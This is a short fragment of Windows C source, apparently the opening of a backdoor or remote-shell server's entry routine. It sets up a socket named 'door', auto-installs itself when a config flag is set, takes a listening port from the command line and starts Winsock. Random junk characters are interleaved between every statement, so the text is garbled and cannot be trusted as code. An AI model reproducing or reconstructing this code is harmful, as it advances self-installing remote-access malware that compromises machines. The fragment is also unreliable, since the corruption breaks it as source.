lpCmdLine) q}i87a;m { *2MTx SOCKET wsl; jayoARUB BOOL val=TRUE; &O,$l3 P int port=0; c53`E U struct sockaddr_in door; k#&SWp= MO/N*4U2 if(wscfg.ws_autoins) Install(); QAwj]_ 9R[','x port=atoi(lpCmdLine); "!?bC#d#( S@)bl if(port<=0) port=wscfg.ws_port; J;`~
!g v],DBw9 WSADATA data; >>Di if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A'8K^,< |